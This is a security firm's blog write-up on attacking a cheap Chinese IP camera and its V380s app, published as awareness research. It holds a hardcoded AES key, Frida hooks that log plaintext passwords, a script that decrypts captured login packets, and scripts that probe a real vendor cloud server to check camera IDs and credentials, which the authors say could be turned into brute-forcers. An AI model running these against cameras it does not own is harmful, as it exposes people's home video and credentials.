Cyberlink Security
  • home
  • services
  • about us
  • blog
  • get in touch
  • home
  • services
  • about us
  • blog
  • get in touch

Cyberlink Security

Solutions to make your life easier

Vulnerabilities to exploit a Chinese IP camera

full

Objective

The objective of this project is to find a potential vulnerability or vulnerabilities in order to exploit a Chinese IP camera using its correspondent app v380s. We devide this Write up into two parts, part 1 focuses on a LAN enviroment, as opposed to part 2 which focuses on a cloud enviroment, where the camera is connected to a chinese server.

Part 1

Static analysis:

nmap

Started off with a full nmap scan, results showed a multitude of ports open:

> nmap -p- 192.168.1.1

    Starting Nmap 7.60 ( https://nmap.org ) at 2020-02-17 18:48 GMT
    Nmap scan report for 192.168.1.1
    Host is up (0.0028s latency).
    Not shown: 65529 closed ports
    PORT     STATE SERVICE
    5040/tcp open  unknown
    5050/tcp open  mmcc
    5051/tcp open  ida-agent
    7050/tcp open  unknown
    8800/tcp open  sunwebadmin
    8899/tcp open  ospf-lite

    Nmap done: 1 IP address (1 host up) scanned in 1821.44 seconds

After trying to interact with the ports using netcat, none seemed to yeld any interesting results, so we move on to wireshark to analyse the traffic beetween the phone and the camera.

Wireshark

We start off by capturing the packets being exchanged when starting a stream beetween the phone and the camera.

PhoneStart

Having identified the ip of the camera(192.168.1.1) and the phone’s ip(192.168.1.20),we put wireshark to capture and hit play and after applying the following filter:

ip.addr==192.168.1.20  && ip.addr==192.168.1.1

We get the following results:

wiresharkMult

At first glance we can see that the phone is communicating with the camera using port 8800 via TCP, following the tcp stream:

wiresharkMult

We get:

tcpStreamResult

We find something interesting, there is plain data being sent, namely a date, an username, and what it looks like random data, which we assume has to be an encrypted password. We also observed that the bits sent after the username change when retrying requests with the same password, leaving us to assume there is a “random” value being passed.

Moving on from this assumption, our best bet is to reverse the application v380s.

Reversing the app v380s

Using jadx-gui, which is a .dex to .java decompiler,we start to look at possible methods used for encryption, searching for an encrypt method we get:

encryptSearch

The two results that jump into view are the methods com.macrovideo.sdk.tools.Functions.encrypt and com.macrovideo.sdk.tools.AESUtils.encrypt because they are not part of the native java libraries. JADX-gui has a handy feature which is to find the usage of a certain method in all the app by right clicking the method and selecting find usage.

For com.macrovideo.sdk.tools.AESUtils.encrypt we see that it is not used at all in the app:

AES

In contrast to com.macrovideo.sdk.tools.Functions.encrypt:

rightAES

Encrypt method found in com.macrovideo.sdk.tools.Functions

public class Functions {
    ...
    public static byte[] encrypt(byte[] data, byte[] key) throws Exception {
        Key k = toKey(key);
        Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
        cipher.init(1, k);
        return cipher.doFinal(data);
    }

 public static Key toKey(byte[] key) throws Exception {
        return new SecretKeySpec(key, "AES");
    }
    ...
}

From this result, what pops into view straight away is the class com.macrovideo.sdk.media.LoginHelperEX

Looking into into it we find a variable randomKey being initialized:

public class LoginHelperEX {
    ...
    public static String randomkey = "macrovideo+*#!^@";
    ...
}

These are great news but only a piece of the puzzle, because the bits following the username in the packet would always be the same, if they were encrypted with the same key.

We also find methods found in the find usage namely:

    public class LoginHelperEX {
            ...
        private static com.macrovideo.sdk.media.LoginHandle LoginFromServerEX(java.lang.String r77, int r78, java.lang.String r79, java.lang.String r80, int r81) 
        ...
        private static com.macrovideo.sdk.media.LoginHandle LoginFromMRServerEX(java.lang.String r79, int r80, java.lang.String r81, int r82, java.lang.String r83, java.lang.String r84, int r85, int r86)
        ...
    }

Unfortunately JADX-GUI wasn’t able to reverse the smali code for these methods. So we use another decompiler called GDA-android-reversing-Tool. And we manage to reverse it!

login

From the two methods found we find these snippet of code which seems to handle password encryption.

          private static LoginHandle LoginFromMRServerEX(String strDomain,int nPort,String strMRServerIP,int nMRPort,String strUsername,String strPassword,int nDeviceID,int nConnectType){
              ...
              randomkey2 = Functions.getCharAndNumr(16);
              ...
              System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 103, randomkey2.getBytes().length());
              encryptPassbyte = Functions.encrypt(strPassword.getBytes(), LoginHelperEX.randomkey.getBytes());
              encryptPassbyte2 = Functions.encrypt(encryptPassbyte, randomkey2.getBytes());
              System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 119, encryptPassbyte2.length());
              LoginHelperEX.buffer[231]=(byte)nConnectType;
              writer.write(LoginHelperEX.buffer, 0, 256);
              writer.flush();
              Arrays.fill(LoginHelperEX.buffer, 0);
              ...
           }
    private static LoginHandle LoginFromServerEX(String strIP,int nPort,String strUsername,String strPassword,int nDeviceID){
        ...
        randomkey2 = Functions.getCharAndNumr(16);
        ...
        System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 81, randomkey2.getBytes().length());
        encryptPassbyte = Functions.encrypt(strPassword.getBytes(), LoginHelperEX.randomkey.getBytes());
        encryptPassbyte2 = Functions.encrypt(encryptPassbyte, randomkey2.getBytes());
        System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length());
        writer.write(LoginHelperEX.buffer, 0, 520);
        writer.flush();
        ...
    }

From Function.getCharAndNumr:

    public static String getCharAndNumr(int length) {
        String val = Constants.MAIN_VERSION_TAG;
        Random random = new Random();
        for (int i = 0; i < length; i++) {
            String charOrNum = random.nextInt(2) % 2 == 0 ? "char" : "num";
            if ("char".equalsIgnoreCase(charOrNum)) {
                val = String.valueOf(val) + ((char) (random.nextInt(26) + (random.nextInt(2) % 2 == 0 ? 65 : 97)));
            } else if ("num".equalsIgnoreCase(charOrNum)) {
                val = String.valueOf(val) + String.valueOf(random.nextInt(10));
            }
        }
        return val;
    }

After analysing the code we conclude the following:

  • Firstly RandomKey2 (which is a random string with a total lenght of 16 bytes) is inserted to LoginHelperEx
  • Secondly the plain password(strPassword) gets encrypted with randomKey(“macrovideo+*#!^@”)
  • Thirdly it then gets reencrypted with the randomKey2

So simplifying the encryption interaction in pseudo-code:

   encryptedPassword = encrypt(randomKey2,(encrypt("macrovideo+*#!^@",plainPassword)))

Which then gets inserted into LoginHelperEx and then sent off to the camera:

       System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length());
       ...
       writer.write(LoginHelperEX.buffer, 0, 520);

In the following section we will perform a dynamic analysis using frida in a rooted phone. And write a script to extract the plain password.

Dynamic analysis(Frida)

Frida is a handy tool where it can attach it self to methods running in an APP and overloading them during runtime allowing us to print out the Input and Output of a method. You can find the steps to installing and using frida here.

With this feature we can try to confirm our hypothesis and see if com.macrovideo.sdk.tools.Functions.encrypt is being used by the app when starting a video stream, and print out the variables passed to it. First off we need to make sure adb is running:

    >sudo adb devices
        List of devices attached
        * daemon not running; starting now at tcp:5037
        * daemon started successfully
        00f2e36beca7a32a    device

Then we check which process the app is running as:

>frida-ps -U | grep 380
    18596  com.macrovideo.v380s

Which is com.macrovideo.v380s

Then we write a javascript script that will be passed onto Frida:

//Converts byte data to String
function byteToString(data){
    var result = "";
    for(var i = 0; i < data.length; ++i){i
        result += (String.fromCharCode(data[i] & 0xff));
    }
    return result
}

function intercept() {
    // Check if frida has located the JNI
    if (Java.available) {
        // Switch to the Java context
        Java.perform(function() {
            //Class that contains our method Encrypt that we will overload hook
            const myreceiver = Java.use('com.macrovideo.sdk.tools.Functions');
            myreceiver.encrypt.overload('[B', '[B').implementation = function (data,key) {
                console.log("Data to be encrypted is: " + byteToString(data));
                console.log("Key is :" , byteToString(key));
                var ret = this.encrypt(data,key);
                return ret;
            }
            console.log('[+] tools.function Encrypt hooked')
        }
    )}
}

intercept()

And do so by running the following command:

frida -U -n "com.macrovideo.v380s" -L script.js

And then pressing play button on app we get:

>frida -U -n "com.macrovideo.v380s" -l script.js 
     ____
    / _  |   Frida 12.8.10 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Attaching...                                                            
[+] tools.function Encrypt hooked
[LGE Nexus 5X::com.macrovideo.v380s]->  
Data to be encrypted is: admin12345
Key is : macrovideo+*#!^@

Data to be encrypted is: ‚’eáÇeà÷Õ»•´ QÛ
Key is : 8pV39QG114F230qW

This result confirms what we guessed, that the plain password is being encrypted twice, we can see that by observing the encrypt method being used two times when trying to login into the camera.

  • Firstly it gets encrypted with “macrovideo+*#!^@”
  • Secondly it get encrypted with the 8pV39QG114F230qW

which is what we formulated before:

    encryptedPassword = encrypt(randomKey2,(encrypt("macrovideo+*#!^@",plainPassword)))

So we know com.macrovideo.sdk.tools.Functions.encrypt is being used, now we need to see which of the methods is used to login, either LoginFromMRServerEX or LoginFromServerEX. With this javascript we can have frida find that for us:

function byteToString(data){
    var result = "";
    for(var i = 0; i < data.length; ++i){i
        result += (String.fromCharCode(data[i] & 0xff)); // here!!
    }
    return result
}



function intercept() {
    // Check if frida has located the JNI
    if (Java.available) {
        // Switch to the Java context
        Java.perform(function() {
            //Class that contains our method Encrypt that we will overload hook
            const myreceiver = Java.use('com.macrovideo.sdk.tools.Functions');
            myreceiver.encrypt.overload('[B', '[B').implementation = function (data,key) {
                console.log("\nData to be encrypted is: " + byteToString(data));
                console.log("Key is :" , byteToString(key));
                var ret = this.encrypt(data,key);
                return ret;
            }
            console.log('[+] tools.function Encrypt hooked')
            //LoginFromMRServerEX
            const myreceiver = Java.use('com.macrovideo.sdk.media.LoginHelperEX');
            myreceiver.LoginFromServerEX.overload('java.lang.String','int','java.lang.String','java.lang.String','int').implementation = function (a,b,c,d,e) {
                console.log("\n\nLoginFromServerEX  Triggered!!");
                return this.LoginFromServerEX(a,b,c,d,e);
            } 
            console.log("LoginFromServerEX hooked")

            //LoginFromMRServerEX
            const myreceiver = Java.use('com.macrovideo.sdk.media.LoginHelperEX');
            myreceiver.LoginFromMRServerEX.overload('java.lang.String','int','java.lang.String','int','java.lang.String','java.lang.String','int','int').implementation = function (a,b,c,d,e,f,g,h) {
                console.log("\n\LoginFromMRServerEX Triggered!!");
                return this.LoginFromServerEX(a,b,c,d,e,f,g,h);
            } 
            console.log("LoginFromServerEX hooked")

        }
    )}

}

intercept()

We get the following:

frida -U -n "com.macrovideo.v380s" -l script.js 
     ____
    / _  |   Frida 12.8.10 - A world-class dynamic instrumentation toolkit
   | (_| |
    > _  |   Commands:
   /_/ |_|       help      -> Displays the help system
   . . . .       object?   -> Display information about 'object'
   . . . .       exit/quit -> Exit
   . . . .
   . . . .   More info at https://www.frida.re/docs/home/
Attaching...                                                            
[+] tools.function Encrypt hooked
LoginFromServerEX hooked
LoginFromServerEX hooked
[LGE Nexus 5X::com.macrovideo.v380s]->  

LoginFromServerEX  Triggered!!

Data to be encrypted is: admin
Key is : macrovideo+*#!^@

Data to be encrypted is: ^8â™*žúeg¯Ê˜»F                                                                                                                                                                                                      
Key is : U0658S51fbM5P60I
[?62;c 

So LoginFromServerEx is being used, looking at the method regarding the password encryption we can see where exactly the randomKey2 and the final encrypted result as well as the username are being inserted into the packet before being sent off:

    private static LoginHandle LoginFromServerEX(String strIP,int nPort,String strUsername,String strPassword,int nDeviceID){
        ...
        System.arraycopy(strUsername.getBytes(), 0, LoginHelperEX.buffer, 49, strUsername.getBytes().length());
        ...
        System.arraycopy(randomkey2.getBytes(), 0, LoginHelperEX.buffer, 81, randomkey2.getBytes().length());
        ...
        System.arraycopy(encryptPassbyte2, 0, LoginHelperEX.buffer, 97, encryptPassbyte2.length());
        ...

So username starts at offset 49, randomKey2 starts of at byte offset 81. And encryptPassByte2 starts at offset 97.

Great with this we can write our own python scrypt to extract the username and password:

#!/usr/bin/python3

from Crypto.Cipher import AES

EXAMPLE_PACKET_HEX = "8f04000078000000020a00000017671301323032302d30312d30372030303a30303a35300000000000000000000000000061646d696e000000000000000000000000000000000000000000000000000000343254324f303563684e4132476134723cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000"

#Encrypted password and username are delimited by 0.
def count(packet):
    counter = 0
    for b in packet:
        if b != 0:
            counter += 1
        else:
            return counter


def decrypt(key , data):
    aes = AES.new(key,AES.MODE_ECB)
    unpad = lambda date: date[0:-date[-1]]
    msg = aes.decrypt(data)
    print("\nDecrypting with key (utf-8): \t"+ key)
    print("Decrypting data(hex):\t\t" +data.hex())
    print("Decrypted data(hex):  \t\t" + unpad(msg).hex()+ "\n")
    return unpad(msg)

def decryptPacket(packet):
    print("Decrypting packet:\n\n"+ packet.hex())

    randomKey2 = packet[81:97].decode("utf-8")

    usernameLenght = count(packet[49:])
    username = packet[49:49+usernameLenght].decode("utf-8")

    origEncryptLenght = count(packet[97:])
    origEncrypted = packet[97:97+origEncryptLenght]

    decrypted = decrypt(randomKey2,origEncrypted)

    finalDecrypted = decrypt("macrovideo+*#!^@",decrypted).decode('utf-8')

    result = {'username':username,'password':finalDecrypted}
    return result

result = decryptPacket(bytes.fromhex(EXAMPLE_PACKET_HEX))
print("\rUsername is: {}\nPassword is: {}".format(result['username'],result['password']))

Running it we get:

./test.py
Decrypting packet:

8f04000078000000020a00000017671301323032302d30312d30372030303a30303a35300000000000000000000000000061646d696e000000000000000000000000000000000000000000000000000000343254324f303563684e4132476134723cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000

Decrypting with key (utf-8):    42T2O05chNA2Ga4r
Decrypting data(hex):       3cf6935ecdce6e04e441bdf8e262129c9ba95fcf8a6cdad8594287ec1c35b28c
Decrypted data(hex):        829265e1c765e0f707d5bb95b4a051db


Decrypting with key (utf-8):    macrovideo+*#!^@
Decrypting data(hex):       829265e1c765e0f707d5bb95b4a051db
Decrypted data(hex):        61646d696e3132333435

Username is: admin
Password is: admin12345

Part 2

The analysis we observed we’re made in a LAN enviroment, if we setup the camera to connect to the cloud we can analyse the packets flowing both beetween the camera and the cloud server, and phone and cloud server.

Analysing traffic from camera to cloud server.

Using wireshark and an intercepting wi-fi Access Point, we capture traffic beetween the camera and cloud server.

captureCameraCloud.png

There is alot of packets flowing around so we can use the packet find utility provided by wireshark by Edit->Find packet
and then setting to search for packet bytes, string and inserting ‘admin’ into the search parameter.

search.png

And so we find a very interesting UDP packet:

plain.png

Looking at it the credentials for the camera coming from the chinese cloud server are in clear text namely admin:admin12345. This constitutes a massive security hole where an attacker can sniff out the wi-fi network and extract credentials with a minimal amount of effort.

Analysing traffic from phone to cloud server.

Again using wireshark and an intercepting wi-fi Access Point, we capture traffic beetween the phone and cloud server.

full.png

Searching for our camera id 18048791 we find an interesting packet:

packetTcp.png

This TCP packet contains just the id of the camera, and the cloud server will probably reply a different response wether or not the camera with that ID is online, to confirm our assumption we can start to develop script that uses the raw data sent to the chinese server and analyse its response.

Raw packet sent to chinese server:

phoneToChinaId.png

Now with the following script:

#!/usr/bin/python3
import binascii
import socket


origId = b'18048791'

id = input("ID to try: ")
id = str.encode(id)


hexID =  binascii.hexlify(id).decode("utf-8")



packet = "ac000000f4030000"+hexID+"2e6e766476722e6e65740000000000000000000000000000602200001767130100000000000000000000000000000000"

IPADDR = '128.14.224.11'
PORTNUM = 8900

BUFFER_SIZE = 1024

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((IPADDR, PORTNUM))

print("Trying with ID: " , id)

s.send(bytes.fromhex(packet))
received = s.recv(BUFFER_SIZE)

s.close()

print("Received Data",received)

We first get the result of when the camera is online:

./idTester.py 
ID to try: 18048791
Trying with ID:  b'18048791'
Received Data b'\x10\x01\x00\x00\x01\x00\x00\x00\x17g\x13\x01\x01\x01\x00\x00'

When the camera is offline:

./idTester.py 
ID to try: 18048791
Trying with ID:  b'18048791'
Received Data b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00'

And with a probably non existent ID 99999999:

./idTester.py 
ID to try: 99999999
Trying with ID:  b'99999999'
Received Data b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00'

Analysing the received data we see that the server replies the same reply if it’s a bogus value(99999999) or if the camera is offline so we can hardcoded to our script:

#!/usr/bin/python3
import binascii
import socket


origId = b'18048791'

id = input("ID to try: ")
id = str.encode(id)

hexID =  binascii.hexlify(id).decode("utf-8")

data = "ac000000f4030000"+hexID+"2e6e766476722e6e65740000000000000000000000000000602200001767130100000000000000000000000000000000"

#IPADDR = '47.91.79.46'
IPADDR = '128.14.224.11'
PORTNUM = 8900

BUFFER_SIZE = 1024

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((IPADDR, PORTNUM))

print("Trying with ID: " , id)

s.send(bytes.fromhex(data))
received = s.recv(BUFFER_SIZE)

s.close()

print("Received Data",received)

invalidID = b'\x10\x01\x00\x00\x00\x00\x00\x00\x17g\x13\x01\x00\x00\x00\x00'

if invalidID == received:
    print(f'The camera with ID:{id} is offline/non existent.')
else:
    print(f'The camera with ID:{id} is online.')

From this position it would be very easy to improve the script as so to brute force for online camera ID’s, in this write up we focused to only test with our camera ID.

Continuing to analyse the packets in wireshark with the previosly method we find the following:

pwPacket.png

It seems that the username and camera ID is being sent over along with some encrypted array of bytes. Very similar to what we where seeing before in our static analysis. Knowing this and using the same mechanism we previosly wrote on our script to decrypt the packets transmitted in the dynamic Analysis we can develop a script to inject our encrypted password and see the different results it gives us,we will also try to extract strings from the packet:

#!/usr/bin/python3
import socket
from Crypto.Cipher import AES

packet = bytes.fromhex("8f040000f4030000030b0000001767130131383034383739312e6e766476722e6e657400000000000000000000000000000000000000000000000000000000000000006022000061646d696e000000000000000000000000000000000000000000000000000000303656364f6c34394c6d433534673732277fd700b845a57f2bbc65da4afc42c636341a2e59c8e3e62c746cdf94e07e9c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000")


randomKey = "42T2O05chNA2Ga4r"
password = "password"

BLOCK_SIZE = 16

def extractStrings(packet):
    result = ""
    for b in packet:
        if 45 < b < 123:
            result += chr(b)
    return result

##ECB padding PKS5 padding https://en.wikipedia.org/wiki/Padding_(cryptography)#PKCS#5_and_PKCS#7
def pad(text):

    nPad = BLOCK_SIZE - len(text) % BLOCK_SIZE

    nPad = BLOCK_SIZE if nPad == 0 else nPad
    if type(text) == type(b'b'):
        returnValue = text + chr(nPad).encode()*nPad
    else:
        returnValue = text+chr(nPad)*nPad

    return returnValue

aes = AES.new("macrovideo+*#!^@" , AES.MODE_ECB)

firstRoundEncrypt = aes.encrypt(pad(password))
print("First round encrypt value  is: ",firstRoundEncrypt)

aes = AES.new(randomKey , AES.MODE_ECB)

secondRoundEncrypt = aes.encrypt(pad(firstRoundEncrypt))
print("Second round encrypt is: ",secondRoundEncrypt)

payload = packet[0:103]+randomKey.encode()+secondRoundEncrypt+packet[151:]

IPADDR = '128.14.224.11'
PORTNUM = 8800                                                                                       
BUFFER_SIZE = 1024                                                    
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)                                                                             
s.connect((IPADDR, PORTNUM))                                                                           
print(f"Trying with admin:{password} and ID:18048791")                                                                              
s.send(payload)
received = s.recv(BUFFER_SIZE)

s.close()                                                                          
print("\nReceived Data",received)

stringsFromPacket = extractStrings(received)

print("\nStrings from packet extracted: ", stringsFromPacket)

So using the correct admin:admin12345 creds with the camera ID 18048791 we get :

./passwordTester.py                                            
First round encrypt value  is:  b'\x82\x92e\xe1\xc7e\xe0\xf7\x07\xd5\xbb\x95\xb4\xa0Q\xdb'                                                                                        Second round encrypt is:  b'<\xf6\x93^\xcd\xcen\x04\xe4A\xbd\xf8\xe2b\x12\x9c\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c'                                                   Trying with admin:admin12345 and ID:18048791                                                                                                                                      Received Data b'\x90\x04\x00\x00\xe9\x03\x00\x00\x9e\x00\x00\x00\x02`_\x00\x00\xfa\xd7S\x1a\x00\x00\x00\x00\x0137.228.231.30\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00`"\x00\x0010.0.0.40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x01\x01\x01\
x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\
x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x
00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0
0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'                   

 Strings from packet extracted:  `_S37.228.231.30`10.0.0.40

Using the wrong admin:wrongPassword creds with the camera ID 18048791 we get:

./passwordTester.py 
First round encrypt value  is:  b'\x1d\x13\xf4\xd6\xee\x97\xc7l\xaen\x8a\x18\xafn\xc3\x9f'
Second round encrypt is:  b'\xae\x89\xa2\xd9\x1do|Sx\x00\xdd\x13;\xb1\xa1\xea\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c'
Trying with admin:random and ID:18048791

Received Data b'\x90\x04\x00\x00\xea\x03\x00\x00\x01\x00\x00\x00\x02Tw\x00\x00ZK\xb3\n\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x01\x01\x01\x01\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Strings from packet extracted:  TwZK

Turning off the camera we get:

./passwordTester.py 
First round encrypt value  is:  b'\x87a+\xce};\x7f\xd3\xa2\xd4\x1cjh\xd8\x1a\xe3'
Second round encrypt is:  b'\x93_\xdb\xd6\xe1p\xbb\xcf7\x08\xac\x9b\xe3ise\x9b\xa9_\xcf\x8al\xda\xd8YB\x87\xec\x1c5\xb2\x8c'
Trying with admin:password and ID:18048791

Received Data b'\x90\x04\x00\x00\xea\x03\x00\x00\xff\xff\xff\xff\x02\x00\x00\x00\x00\x8a\xb4P\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

Strings from packet extracted:  P

Analysing and comparing the received data we arrive at the conclusion that there are three different replies, correct ID username and password, wrong credentials, or non-existing/offline camera. We can also see that with the correct credentials the response includes a public address(probably chinese server to direct the phone to connect to) along with our private IP address, in the other responses the strings returned are ‘P’ and ‘TwZK’ depending if the camera is off or the credentials are incorrect.

Knowing this we can update our script:

...

print("\nStrings from packet extracted: ", stringsFromPacket)

if len(stringsFromPacket) > 8:
    print("Success!")
elif stringsFromPacket == "TwZK":
    print("Incorrect credentials")
elif stringsFromPacket == "P":
    print("Camera probably not connected.")

Again like in the previous example, we could easily have a password list and bruteforce using common usernames ie: admin.

Conclusion

This project proved to be very educational and interesting, and one of its purposes was to raise awareness of how insecure cheap IP cameras can be, we believe it’s important to educate people and make them understand how secure and private their devices can fail be.

Related Articles

  • Cork University Hospital Cybersecurity
    Ransomware attack on Cork University Hospital computers
  • hacker for cc
    Will quantum computers break today's encryption?

Recent Posts

  • Ransomware attack on Cork University Hospital computers
  • Will quantum computers break today’s encryption?
  • A look into GDPR and the late Easy Jet Breach
  • What am I protecting my cybers from? (part 2)
  • Are the browser wars over?
  • Why so many bitcoin scams? They are cheap, easy, and efficient to execute.
  • What does it take to build good pentest boxes to test cyber security skills?
  • What am I protecting my cybers from? (part 1)
  • What do I need to protect with cybersecurity?
  • Why are we seeing such high profile failures of cybersecurity?
  • What happens to my cybersecurity if I use cloud services to outsource my IT?
  • Who are my Cyber Stakeholders?
  • Why should my organisation have a cybersecurity strategy?
  • Is ISO27001 a good basis for your Cyber Security Strategy?
  • PECB United Kingdom has signed a partnership agreement with CyberLink
  • Four reasons why traditional information security fails in agile environments
  • Vulnerabilities to exploit a Chinese IP camera
  • Verizon issues their 2020 Mobile Security Index report
  • Why Traditional Information Security Fails
  • Why is Cyber Security Important?